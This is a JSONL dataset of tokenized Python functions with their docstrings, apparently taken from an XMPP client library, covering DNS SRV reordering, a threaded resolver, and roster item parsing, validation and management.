{"signature": "def _expire_item(self, key):", "body": "(timeout, callback) = self._timeouts[key]<EOL>now = time.time()<EOL>if timeout <= now:<EOL><INDENT>item = dict.pop(self, key)<EOL>del self._timeouts[key]<EOL>if callback:<EOL><INDENT>try:<EOL><INDENT>callback(key, item)<EOL><DEDENT>except TypeError:<EOL><INDENT>try:<EOL><INDENT>callback(key)<EOL><DEDENT>except TypeError:<EOL><INDENT>callback()<EOL><DEDENT><DEDENT><DEDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return timeout - now<EOL><DEDENT>", "docstring": "Do the expiration of a dictionary item.\n\n        Remove the item if it has expired by now.\n\n        :Parameters:\n            - `key`: key to the object.\n        :Types:\n            - `key`: any hashable value", "id": "f15243:c0:m8"}
{"signature": "def is_ipv6_available():", "body": "try:<EOL><INDENT>socket.socket(socket.AF_INET6).close()<EOL><DEDENT>except (socket.error, AttributeError):<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Check if IPv6 is available.\n\n    :Return: `True` when an IPv6 socket can be created.", "id": "f15244:m0"}
{"signature": "def is_ipv4_available():", "body": "try:<EOL><INDENT>socket.socket(socket.AF_INET).close()<EOL><DEDENT>except socket.error:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Check if IPv4 is available.\n\n    :Return: `True` when an IPv4 socket can be created.", "id": "f15244:m1"}
{"signature": "def shuffle_srv(records):", "body": "if not records:<EOL><INDENT>return []<EOL><DEDENT>ret = []<EOL>while len(records) > <NUM_LIT:1>:<EOL><INDENT>weight_sum = <NUM_LIT:0><EOL>for rrecord in records:<EOL><INDENT>weight_sum += rrecord.weight + <NUM_LIT:0.1><EOL><DEDENT>thres = random.random() * weight_sum<EOL>weight_sum = <NUM_LIT:0><EOL>for rrecord in records:<EOL><INDENT>weight_sum += rrecord.weight + <NUM_LIT:0.1><EOL>if thres < weight_sum:<EOL><INDENT>records.remove(rrecord)<EOL>ret.append(rrecord)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>ret.append(records[<NUM_LIT:0>])<EOL>return ret<EOL>", "docstring": "Randomly reorder SRV records using their weights.\n\n    :Parameters:\n        - `records`: SRV records to shuffle.\n    :Types:\n        - `records`: sequence of :dns:`dns.rdtypes.IN.SRV`\n\n    :return: reordered records.\n    :returntype: `list` of :dns:`dns.rdtypes.IN.SRV`", "id": "f15244:m2"}
{"signature": "def reorder_srv(records):", "body": "records = list(records)<EOL>records.sort()<EOL>ret = []<EOL>tmp = []<EOL>for rrecord in records:<EOL><INDENT>if not tmp or rrecord.priority == tmp[<NUM_LIT:0>].priority:<EOL><INDENT>tmp.append(rrecord)<EOL>continue<EOL><DEDENT>ret += shuffle_srv(tmp)<EOL>tmp = [rrecord]<EOL><DEDENT>if tmp:<EOL><INDENT>ret += shuffle_srv(tmp)<EOL><DEDENT>return ret<EOL>", "docstring": "Reorder SRV records using their priorities and weights.\n\n    :Parameters:\n        - `records`: SRV records to shuffle.\n    :Types:\n        - `records`: `list` of :dns:`dns.rdtypes.IN.SRV`\n\n    :return: reordered records.\n    :returntype: `list` of :dns:`dns.rdtypes.IN.SRV`", "id": "f15244:m3"}
{"signature": "def _make_resolver(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Return the blocking resolver implementation that should be\n        used by the resolver threads.", "id": "f15244:c0:m1"}
{"signature": "def stop(self):", "body": "with self.lock:<EOL><INDENT>for dummy in self.threads:<EOL><INDENT>self.queue.put(None)<EOL><DEDENT><DEDENT>", "docstring": "Stop the resolver threads.", "id": "f15244:c0:m2"}
{"signature": "def _start_thread(self):", "body": "with self.lock:<EOL><INDENT>if self.threads and self.queue.empty():<EOL><INDENT>return<EOL><DEDENT>if len(self.threads) >= self.max_threads:<EOL><INDENT>return<EOL><DEDENT>thread_n = self.last_thread_n + <NUM_LIT:1><EOL>self.last_thread_n = thread_n<EOL>thread = threading.Thread(target = self._run,<EOL>name = \"<STR_LIT>\".format(self, thread_n),<EOL>args = (thread_n,))<EOL>self.threads.append(thread)<EOL>thread.daemon = True<EOL>thread.start()<EOL><DEDENT>", "docstring": "Start a new working thread unless the maximum number of threads\n        has been reached or the request queue is empty.", "id": "f15244:c0:m3"}
{"signature": "def _run(self, thread_n):", "body": "try:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(self, thread_n))<EOL>resolver = self._make_resolver()<EOL>while True:<EOL><INDENT>request = self.queue.get()<EOL>if request is None:<EOL><INDENT>break<EOL><DEDENT>method, args = request<EOL>logger.debug(\"<STR_LIT>\"<EOL>.format(resolver, method, args))<EOL>getattr(resolver, method)(*args) <EOL>self.queue.task_done()<EOL><DEDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(self, thread_n))<EOL><DEDENT>finally:<EOL><INDENT>self.threads.remove(threading.currentThread())<EOL><DEDENT>", "docstring": "The thread function.", "id": "f15244:c0:m6"}
{"signature": "def resolve_address(self, hostname, callback, allow_cname = True):", "body": "if self.settings[\"<STR_LIT>\"]:<EOL><INDENT>if self.settings[\"<STR_LIT>\"]:<EOL><INDENT>family = socket.AF_UNSPEC<EOL><DEDENT>else:<EOL><INDENT>family = socket.AF_INET6<EOL><DEDENT><DEDENT>elif self.settings[\"<STR_LIT>\"]:<EOL><INDENT>family = socket.AF_INET<EOL><DEDENT>else:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL>callback([])<EOL>return<EOL><DEDENT>try:<EOL><INDENT>ret = socket.getaddrinfo(hostname, <NUM_LIT:0>, family, socket.SOCK_STREAM, <NUM_LIT:0>)<EOL><DEDENT>except socket.gaierror as err:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(hostname,<EOL>err))<EOL>callback([])<EOL>return<EOL><DEDENT>except IOError as err:<EOL><INDENT>logger.warning(\"<STR_LIT>\"<EOL>.format(hostname,err))<EOL>callback([])<EOL>return<EOL><DEDENT>if family == socket.AF_UNSPEC:<EOL><INDENT>tmp = ret<EOL>if self.settings[\"<STR_LIT>\"]:<EOL><INDENT>ret = [ addr for addr in tmp if addr[<NUM_LIT:0>] == socket.AF_INET6 ]<EOL>ret += [ addr for addr in tmp if addr[<NUM_LIT:0>] == socket.AF_INET ]<EOL><DEDENT>else:<EOL><INDENT>ret = [ addr for addr in tmp if addr[<NUM_LIT:0>] == socket.AF_INET ]<EOL>ret += [ addr for addr in tmp if addr[<NUM_LIT:0>] == socket.AF_INET6 ]<EOL><DEDENT><DEDENT>callback([(addr[<NUM_LIT:0>], addr[<NUM_LIT:4>][<NUM_LIT:0>]) for addr in ret])<EOL>", "docstring": "Start looking up an A or AAAA record.\n\n        `callback` will be called with a list of (family, address) tuples\n        on success. Family is :std:`socket.AF_INET` or :std:`socket.AF_INET6`,\n        the address is IPv4 or IPv6 literal. The list will be empty on error.\n\n        :Parameters:\n            - `hostname`: the host name to look up\n            - `callback`: a function to be called with a list of received\n              addresses\n            - `allow_cname`: `True` if CNAMEs should be followed\n        :Types:\n            - `hostname`: `unicode`\n            - `callback`: function accepting a single argument\n            - `allow_cname`: `bool`", "id": "f15244:c1:m2"}
{"signature": "def __init__(self, jid, name = None, groups = None,<EOL>subscription = None, ask = None, approved = None):", "body": "<EOL>self.jid = JID(jid)<EOL>if name is not None:<EOL><INDENT>self.name = str(name)<EOL><DEDENT>else:<EOL><INDENT>self.name = None<EOL><DEDENT>if groups is not None:<EOL><INDENT>self.groups = set(groups)<EOL><DEDENT>else:<EOL><INDENT>self.groups = set()<EOL><DEDENT>if subscription == \"<STR_LIT:none>\":<EOL><INDENT>subscription = None<EOL><DEDENT>self.subscription = subscription<EOL>if ask is not None:<EOL><INDENT>self.ask = ask<EOL><DEDENT>else:<EOL><INDENT>self.ask = None<EOL><DEDENT>self.approved = bool(approved)<EOL>self._duplicate_group = False<EOL>", "docstring": "Initialize a roster item element.\n\n:Parameters:\n    - `jid`: entry jid\n    - `name`: item visible name\n    - `groups`: iterable of groups the item is member of\n    - `subscription`: subscription type (None, \"to\", \"from\", \"both\"\n                                                            or \"remove\")\n    - `ask`: \"subscribe\" if there was unreplied subscription request\n      sent\n    - `approved`: `True` if the entry subscription is pre-approved", "id": "f15245:c3:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_xml(cls, element):<DEDENT>", "body": "if element.tag != ITEM_TAG:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(element))<EOL><DEDENT>try:<EOL><INDENT>jid = JID(element.get(\"<STR_LIT>\"))<EOL><DEDENT>except ValueError:<EOL><INDENT>raise BadRequestProtocolError(\"<STR_LIT>\")<EOL><DEDENT>subscription = element.get(\"<STR_LIT>\")<EOL>ask = element.get(\"<STR_LIT>\")<EOL>name = element.get(\"<STR_LIT:name>\")<EOL>duplicate_group = False<EOL>groups = set()<EOL>for child in element:<EOL><INDENT>if child.tag != GROUP_TAG:<EOL><INDENT>continue<EOL><DEDENT>group = child.text<EOL>if group is None:<EOL><INDENT>group = \"<STR_LIT>\"<EOL><DEDENT>if group in groups:<EOL><INDENT>duplicate_group = True<EOL><DEDENT>else:<EOL><INDENT>groups.add(group)<EOL><DEDENT><DEDENT>approved = element.get(\"<STR_LIT>\")<EOL>if approved == \"<STR_LIT:true>\":<EOL><INDENT>approved = True<EOL><DEDENT>elif approved in (\"<STR_LIT:false>\", None):<EOL><INDENT>approved = False<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(approved))<EOL>approved = False<EOL><DEDENT>result = cls(jid, name, groups, subscription, ask, approved)<EOL>result._duplicate_group = duplicate_group<EOL>return result<EOL>", "docstring": "Make a RosterItem from an XML element.\n\n        :Parameters:\n            - `element`: the XML element\n        :Types:\n            - `element`: :etree:`ElementTree.Element`\n\n        :return: a freshly created roster item\n        :returntype: `cls`", "id": "f15245:c3:m1"}
{"signature": "def as_xml(self, parent = None):", "body": "if parent is not None:<EOL><INDENT>element = ElementTree.SubElement(parent, ITEM_TAG)<EOL><DEDENT>else:<EOL><INDENT>element = ElementTree.Element(ITEM_TAG)<EOL><DEDENT>element.set(\"<STR_LIT>\", str(self.jid))<EOL>if self.name is not None:<EOL><INDENT>element.set(\"<STR_LIT:name>\", self.name)<EOL><DEDENT>if self.subscription is not None:<EOL><INDENT>element.set(\"<STR_LIT>\", self.subscription)<EOL><DEDENT>if self.ask:<EOL><INDENT>element.set(\"<STR_LIT>\", self.ask)<EOL><DEDENT>if self.approved:<EOL><INDENT>element.set(\"<STR_LIT>\", \"<STR_LIT:true>\")<EOL><DEDENT>for group in self.groups:<EOL><INDENT>ElementTree.SubElement(element, GROUP_TAG).text = group<EOL><DEDENT>return element<EOL>", "docstring": "Make an XML element from self.\n\n        :Parameters:\n            - `parent`: Parent element\n        :Types:\n            - `parent`: :etree:`ElementTree.Element`", "id": "f15245:c3:m2"}
{"signature": "def _verify(self, valid_subscriptions, fix):", "body": "if self.subscription not in valid_subscriptions:<EOL><INDENT>if fix:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(self.subscription))<EOL>self.subscription = None<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if self.ask not in (None, \"<STR_LIT>\"):<EOL><INDENT>if fix:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(self.ask))<EOL>self.ask = None<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Check if `self` is valid roster item.\n\n        Valid item must have proper `subscription` and valid value for 'ask'.\n\n        :Parameters:\n            - `valid_subscriptions`: sequence of valid subscription values\n            - `fix`: if `True` than replace invalid 'subscription' and 'ask'\n              values with the defaults\n        :Types:\n            - `fix`: `bool`\n\n        :Raise: `ValueError` if the item is invalid.", "id": "f15245:c3:m3"}
{"signature": "def verify_roster_result(self, fix = False):", "body": "self._verify((None, \"<STR_LIT>\", \"<STR_LIT:to>\", \"<STR_LIT>\"), fix)<EOL>", "docstring": "Check if `self` is valid roster item.\n\n        Valid item must have proper `subscription` value other than 'remove'\n        and valid value for 'ask'.\n\n        :Parameters:\n            - `fix`: if `True` than replace invalid 'subscription' and 'ask'\n              values with the defaults\n        :Types:\n            - `fix`: `bool`\n\n        :Raise: `ValueError` if the item is invalid.", "id": "f15245:c3:m4"}
{"signature": "def verify_roster_push(self, fix = False):", "body": "self._verify((None, \"<STR_LIT>\", \"<STR_LIT:to>\", \"<STR_LIT>\", \"<STR_LIT>\"), fix)<EOL>", "docstring": "Check if `self` is valid roster push item.\n\n        Valid item must have proper `subscription` value other and valid value\n        for 'ask'.\n\n        :Parameters:\n            - `fix`: if `True` than replace invalid 'subscription' and 'ask'\n              values with the defaults\n        :Types:\n            - `fix`: `bool`\n\n        :Raise: `ValueError` if the item is invalid.", "id": "f15245:c3:m5"}
{"signature": "def verify_roster_set(self, fix = False, settings = None):", "body": "<EOL>try:<EOL><INDENT>self._verify((None, \"<STR_LIT>\"), fix)<EOL><DEDENT>except ValueError as err:<EOL><INDENT>raise BadRequestProtocolError(str(err))<EOL><DEDENT>if self.ask:<EOL><INDENT>if fix:<EOL><INDENT>self.ask = None<EOL><DEDENT>else:<EOL><INDENT>raise BadRequestProtocolError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if self.approved:<EOL><INDENT>if fix:<EOL><INDENT>self.approved = False<EOL><DEDENT>else:<EOL><INDENT>raise BadRequestProtocolError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if settings is None:<EOL><INDENT>settings = XMPPSettings()<EOL><DEDENT>name_length_limit = settings[\"<STR_LIT>\"]<EOL>if self.name and len(self.name) > name_length_limit:<EOL><INDENT>raise NotAcceptableProtocolError(\"<STR_LIT>\")<EOL><DEDENT>group_length_limit = settings[\"<STR_LIT>\"]<EOL>for group in self.groups:<EOL><INDENT>if not group:<EOL><INDENT>raise NotAcceptableProtocolError(\"<STR_LIT>\")<EOL><DEDENT>if len(group) > group_length_limit:<EOL><INDENT>raise NotAcceptableProtocolError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if self._duplicate_group:<EOL><INDENT>raise BadRequestProtocolError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Check if `self` is valid roster set item.\n\n        For use on server to validate incoming roster sets.\n\n        Valid item must have proper `subscription` value other and valid value\n        for 'ask'. The lengths of name and group names must fit the configured\n        limits.\n\n        :Parameters:\n            - `fix`: if `True` than replace invalid 'subscription' and 'ask'\n              values with right defaults\n            - `settings`: settings object providing the name limits\n        :Types:\n            - `fix`: `bool`\n            - `settings`: `XMPPSettings`\n\n        :Raise: `BadRequestProtocolError` if the item is invalid.", "id": "f15245:c3:m6"}
{"signature": "def __init__(self, items = None, version = None):", "body": "if items is not None:<EOL><INDENT>self._items = list(items)<EOL><DEDENT>else:<EOL><INDENT>self._items = []<EOL><DEDENT>self.version = version<EOL>", "docstring": ":Parameters:\n    - `items`: sequence of roster items\n    - `version`: optional roster version string\n:Types:\n    - `items`: iterable\n    - `version`: `unicode`", "id": "f15245:c4:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_xml(cls, element):<DEDENT>", "body": "<EOL>items = []<EOL>jids = set()<EOL>if element.tag != QUERY_TAG:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(element))<EOL><DEDENT>version = element.get(\"<STR_LIT>\")<EOL>for child in element:<EOL><INDENT>if child.tag != ITEM_TAG:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(child))<EOL>continue<EOL><DEDENT>item = RosterItem.from_xml(child)<EOL>if item.jid in jids:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(<EOL>item.jid))<EOL>continue<EOL><DEDENT>jids.add(item.jid)<EOL>items.append(item)<EOL><DEDENT>return cls(items, version)<EOL>", "docstring": "Create a `RosterPayload` object from an XML element.\n\n:Parameters:\n    - `element`: the XML element\n:Types:\n    - `element`: :etree:`ElementTree.Element`\n\n:return: a freshly created roster payload\n:returntype: `cls`", "id": "f15245:c4:m1"}
{"signature": "def as_xml(self):", "body": "element = ElementTree.Element(QUERY_TAG)<EOL>if self.version is not None:<EOL><INDENT>element.set(\"<STR_LIT>\", self.version)<EOL><DEDENT>for item in self._items:<EOL><INDENT>item.as_xml(element)<EOL><DEDENT>return element<EOL>", "docstring": "Return the XML representation of roster payload.\n\n        Makes a <query/> element with <item/> children.", "id": "f15245:c4:m2"}
{"signature": "def items(self):", "body": "return self._items<EOL>", "docstring": "Return the roster items.\n\n        :Returntype: iterable of `RosterType`", "id": "f15245:c4:m8"}
{"signature": "def keys(self):", "body": "return list(self._jids.keys())<EOL>", "docstring": "Return the JIDs in the roster.\n\n        :Returntype: iterable of `JID`", "id": "f15245:c5:m4"}
{"signature": "def values(self):", "body": "return self._items<EOL>", "docstring": "Return the roster items.\n\n        :Returntype: iterable of `RosterType`", "id": "f15245:c5:m5"}
{"signature": "@property<EOL><INDENT>def groups(self):<DEDENT>", "body": "groups = set()<EOL>for item in self._items:<EOL><INDENT>groups |= item.groups<EOL><DEDENT>return groups<EOL>", "docstring": "Set of groups defined in the roster.\n\n        :Return: the groups\n        :ReturnType: `set` of `unicode`", "id": "f15245:c5:m6"}
{"signature": "def get_items_by_name(self, name, case_sensitive = True):", "body": "if not case_sensitive and name:<EOL><INDENT>name = name.lower()<EOL><DEDENT>result = []<EOL>for item in self._items:<EOL><INDENT>if item.name == name:<EOL><INDENT>result.append(item)<EOL><DEDENT>elif item.name is None:<EOL><INDENT>continue<EOL><DEDENT>elif not case_sensitive and item.name.lower() == name:<EOL><INDENT>result.append(item)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Return a list of items with given name.\n\n:Parameters:\n    - `name`: name to look-up\n    - `case_sensitive`: if `False` the matching will be case\n      insensitive.\n:Types:\n    - `name`: `unicode`\n    - `case_sensitive`: `bool`\n\n:Returntype: `list` of `RosterItem`", "id": "f15245:c5:m7"}
{"signature": "def get_items_by_group(self, group, case_sensitive = True):", "body": "result = []<EOL>if not group:<EOL><INDENT>for item in self._items:<EOL><INDENT>if not item.groups:<EOL><INDENT>result.append(item)<EOL><DEDENT><DEDENT>return result<EOL><DEDENT>if not case_sensitive:<EOL><INDENT>group = group.lower()<EOL><DEDENT>for item in self._items:<EOL><INDENT>if group in item.groups:<EOL><INDENT>result.append(item)<EOL><DEDENT>elif not case_sensitive and group in [g.lower() for g<EOL>in item.groups]:<EOL><INDENT>result.append(item)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Return a list of items within a given group.\n\n:Parameters:\n    - `name`: name to look-up\n    - `case_sensitive`: if `False` the matching will be case\n      insensitive.\n:Types:\n    - `name`: `unicode`\n    - `case_sensitive`: `bool`\n\n:Returntype: `list` of `RosterItem`", "id": "f15245:c5:m8"}
{"signature": "def add_item(self, item, replace = False):", "body": "if item.jid in self._jids:<EOL><INDENT>if replace:<EOL><INDENT>self.remove_item(item.jid)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>index = len(self._items)<EOL>self._items.append(item)<EOL>self._jids[item.jid] = index<EOL>", "docstring": "Add an item to the roster.\n\nThis will not automatically update the roster on the server.\n\n:Parameters:\n    - `item`: the item to add\n    - `replace`: if `True` then existing item will be replaced,\n      otherwise a `ValueError` will be raised on conflict\n:Types:\n    - `item`: `RosterItem`\n    - `replace`: `bool`", "id": "f15245:c5:m9"}
{"signature": "def remove_item(self, jid):", "body": "if jid not in self._jids:<EOL><INDENT>raise KeyError(jid)<EOL><DEDENT>index = self._jids[jid]<EOL>for i in range(index, len(self._jids)):<EOL><INDENT>self._jids[self._items[i].jid] -= <NUM_LIT:1><EOL><DEDENT>del self._jids[jid]<EOL>del self._items[index]<EOL>", "docstring": "Remove item from the roster.\n\n        :Parameters:\n            - `jid`: JID of the item to remove\n        :Types:\n            - `jid`: `JID`", "id": "f15245:c5:m10"}
{"signature": "def load_roster(self, source):", "body": "try:<EOL><INDENT>tree = ElementTree.parse(source)<EOL><DEDENT>except ElementTree.ParseError as err:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(err))<EOL><DEDENT>roster = Roster.from_xml(tree.getroot())<EOL>for item in roster:<EOL><INDENT>item.verify_roster_result(True)<EOL><DEDENT>self.roster = roster<EOL>", "docstring": "Load roster from an XML file.\n\n        Can be used before the connection is started to load saved\n        roster copy, for efficient retrieval of versioned roster.\n\n        :Parameters:\n            - `source`: file name or a file object\n        :Types:\n            - `source`: `str` or file-like object", "id": "f15245:c6:m1"}
{"signature": "def save_roster(self, dest, pretty = True):", "body": "if self.roster is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>element = self.roster.as_xml()<EOL>if pretty:<EOL><INDENT>if len(element):<EOL><INDENT>element.text = '<STR_LIT>'<EOL><DEDENT>p_child = None<EOL>for child in element:<EOL><INDENT>if p_child is not None:<EOL><INDENT>p_child.tail = '<STR_LIT>'<EOL><DEDENT>if len(child):<EOL><INDENT>child.text = '<STR_LIT>'<EOL><DEDENT>p_grand = None<EOL>for grand in child:<EOL><INDENT>if p_grand is not None:<EOL><INDENT>p_grand.tail = '<STR_LIT>'<EOL><DEDENT>p_grand = grand<EOL><DEDENT>if p_grand is not None:<EOL><INDENT>p_grand.tail = '<STR_LIT>'<EOL><DEDENT>p_child = child<EOL><DEDENT>if p_child is not None:<EOL><INDENT>p_child.tail = \"<STR_LIT:\\n>\"<EOL><DEDENT><DEDENT>tree = ElementTree.ElementTree(element)<EOL>tree.write(dest, \"<STR_LIT:utf-8>\")<EOL>", "docstring": "Save the roster to an XML file.\n\n        Can be used to save the last know roster copy for faster loading\n        of a verisoned roster (if server supports that).\n\n        :Parameters:\n            - `dest`: file name or a file object\n            - `pretty`: pretty-format the roster XML\n        :Types:\n            - `dest`: `str` or file-like object\n            - `pretty`: `bool`", "id": "f15245:c6:m2"}
{"signature": "@event_handler(GotFeaturesEvent)<EOL><INDENT>def handle_got_features_event(self, event):<DEDENT>", "body": "server_features = set()<EOL>logger.debug(\"<STR_LIT>\")<EOL>if event.features.find(FEATURE_ROSTERVER) is not None:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>server_features.add(\"<STR_LIT>\")<EOL><DEDENT>if event.features.find(FEATURE_APPROVALS) is not None:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>server_features.add(\"<STR_LIT>\")<EOL><DEDENT>self.server_features = server_features<EOL>", "docstring": "Check for roster related features in the stream features received\n        and set `server_features` accordingly.", "id": "f15245:c6:m3"}
{"signature": "@event_handler(AuthorizedEvent)<EOL><INDENT>def handle_authorized_event(self, event):<DEDENT>", "body": "self.server = event.authorized_jid.bare()<EOL>if \"<STR_LIT>\" in self.server_features:<EOL><INDENT>if self.roster is not None and self.roster.version is not None:<EOL><INDENT>version = self.roster.version<EOL><DEDENT>else:<EOL><INDENT>version = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>else:<EOL><INDENT>version = None<EOL><DEDENT>self.request_roster(version)<EOL>", "docstring": "Request roster upon login.", "id": "f15245:c6:m4"}
{"signature": "def request_roster(self, version = None):", "body": "processor = self.stanza_processor<EOL>request = Iq(stanza_type = \"<STR_LIT>\")<EOL>request.set_payload(RosterPayload(version = version))<EOL>processor.set_response_handlers(request,<EOL>self._get_success, self._get_error)<EOL>processor.send(request)<EOL>", "docstring": "Request roster from server.\n\n        :Parameters:\n            - `version`: if not `None` versioned roster will be requested\n              for given local version. Use \"\" to request full roster.\n        :Types:\n            - `version`: `unicode`", "id": "f15245:c6:m5"}
{"signature": "def _get_success(self, stanza):", "body": "payload = stanza.get_payload(RosterPayload)<EOL>if payload is None:<EOL><INDENT>if \"<STR_LIT>\" in self.server_features and self.roster:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL>self._event_queue.put(RosterNotReceivedEvent(self, stanza))<EOL>return<EOL><DEDENT><DEDENT>else:<EOL><INDENT>items = list(payload)<EOL>for item in items:<EOL><INDENT>item.verify_roster_result(True)<EOL><DEDENT>self.roster = Roster(items, payload.version)<EOL><DEDENT>self._event_queue.put(RosterReceivedEvent(self, self.roster))<EOL>", "docstring": "Handle successful response to the roster request.", "id": "f15245:c6:m6"}
{"signature": "def _get_error(self, stanza):", "body": "if stanza:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(<EOL>stanza.error.condition_name))<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>self._event_queue.put(RosterNotReceivedEvent(self, stanza))<EOL>", "docstring": "Handle failure of the roster request.", "id": "f15245:c6:m7"}
{"signature": "@iq_set_stanza_handler(RosterPayload)<EOL><INDENT>def handle_roster_push(self, stanza):<DEDENT>", "body": "if self.server is None and stanza.from_jid:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(stanza.from_jid))<EOL>return stanza.make_error_response(\"<STR_LIT>\")<EOL><DEDENT>if self.server and stanza.from_jid and stanza.from_jid != self.server:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(<EOL>stanza.from_jid))<EOL>return stanza.make_error_response(\"<STR_LIT>\")<EOL><DEDENT>payload = stanza.get_payload(RosterPayload)<EOL>if len(payload) != <NUM_LIT:1>:<EOL><INDENT>logger.warning(\"<STR_LIT>\"<EOL>.format(len(payload)))<EOL>return stanza.make_error_response(\"<STR_LIT>\")<EOL><DEDENT>if self.roster is None:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return True<EOL><DEDENT>item = payload[<NUM_LIT:0>]<EOL>item.verify_roster_push(True)<EOL>old_item = self.roster.get(item.jid)<EOL>if item.subscription == \"<STR_LIT>\":<EOL><INDENT>if old_item:<EOL><INDENT>self.roster.remove_item(item.jid)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.roster.add_item(item, replace = True)<EOL><DEDENT>self._event_queue.put(RosterUpdatedEvent(self, old_item, item))<EOL>return stanza.make_result_response()<EOL>", "docstring": "Handle a roster push received from server.", "id": "f15245:c6:m8"}
{"signature": "def add_item(self, jid, name = None, groups = None,<EOL>callback = None, error_callback = None):", "body": "<EOL>if jid in self.roster:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(jid))<EOL><DEDENT>item = RosterItem(jid, name, groups)<EOL>self._roster_set(item, callback, error_callback)<EOL>", "docstring": "Add a contact to the roster.\n\n        :Parameters:\n            - `jid`: contact's jid\n            - `name`: name for the contact\n            - `groups`: sequence of group names the contact should belong to\n            - `callback`: function to call when the request succeeds. It should\n              accept a single argument - a `RosterItem` describing the\n              requested change\n            - `error_callback`: function to call when the request fails. It\n              should accept a single argument - an error stanza received\n              (`None` in case of timeout)\n        :Types:\n            - `jid`: `JID`\n            - `name`: `unicode`\n            - `groups`: sequence of `unicode`", "id": "f15245:c6:m9"}
{"signature": "def update_item(self, jid, name = NO_CHANGE, groups = NO_CHANGE,<EOL>callback = None, error_callback = None):", "body": "<EOL>item = self.roster[jid]<EOL>if name is NO_CHANGE and groups is NO_CHANGE:<EOL><INDENT>return<EOL><DEDENT>if name is NO_CHANGE:<EOL><INDENT>name = item.name<EOL><DEDENT>if groups is NO_CHANGE:<EOL><INDENT>groups = item.groups<EOL><DEDENT>item = RosterItem(jid, name, groups)<EOL>self._roster_set(item, callback, error_callback)<EOL>", "docstring": "Modify a contact in the roster.\n\n        :Parameters:\n            - `jid`: contact's jid\n            - `name`: a new name for the contact\n            - `groups`: a sequence of group names the contact should belong to\n            - `callback`: function to call when the request succeeds. It should\n              accept a single argument - a `RosterItem` describing the\n              requested change\n            - `error_callback`: function to call when the request fails. It\n              should accept a single argument - an error stanza received\n              (`None` in case of timeout)\n        :Types:\n            - `jid`: `JID`\n            - `name`: `unicode`\n            - `groups`: sequence of `unicode`", "id": "f15245:c6:m10"}
{"signature": "def remove_item(self, jid, callback = None, error_callback = None):", "body": "item = self.roster[jid]<EOL>if jid not in self.roster:<EOL><INDENT>raise KeyError(jid)<EOL><DEDENT>item = RosterItem(jid, subscription = \"<STR_LIT>\")<EOL>self._roster_set(item, callback, error_callback)<EOL>", "docstring": "Remove a contact from the roster.\n\n        :Parameters:\n            - `jid`: contact's jid\n            - `callback`: function to call when the request succeeds. It should\n              accept a single argument - a `RosterItem` describing the\n              requested change\n            - `error_callback`: function to call when the request fails. It\n              should accept a single argument - an error stanza received\n              (`None` in case of timeout)\n        :Types:\n            - `jid`: `JID`", "id": "f15245:c6:m11"}
{"signature": "def _roster_set(self, item, callback, error_callback):", "body": "stanza = Iq(to_jid = self.server, stanza_type = \"<STR_LIT>\")<EOL>payload = RosterPayload([item])<EOL>stanza.set_payload(payload)<EOL>def success_cb(result_stanza):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if callback:<EOL><INDENT>callback(item)<EOL><DEDENT><DEDENT>def error_cb(error_stanza):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if error_callback:<EOL><INDENT>error_callback(error_stanza)<EOL><DEDENT>else:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(item.jid))<EOL><DEDENT><DEDENT>processor = self.stanza_processor<EOL>processor.set_response_handlers(stanza,<EOL>success_cb, error_cb)<EOL>processor.send(stanza)<EOL>", "docstring": "Send a 'roster set' to the server.\n\n        :Parameters:\n            - `item`: the requested change\n        :Types:\n            - `item`: `RosterItem`", "id": "f15245:c6:m12"}
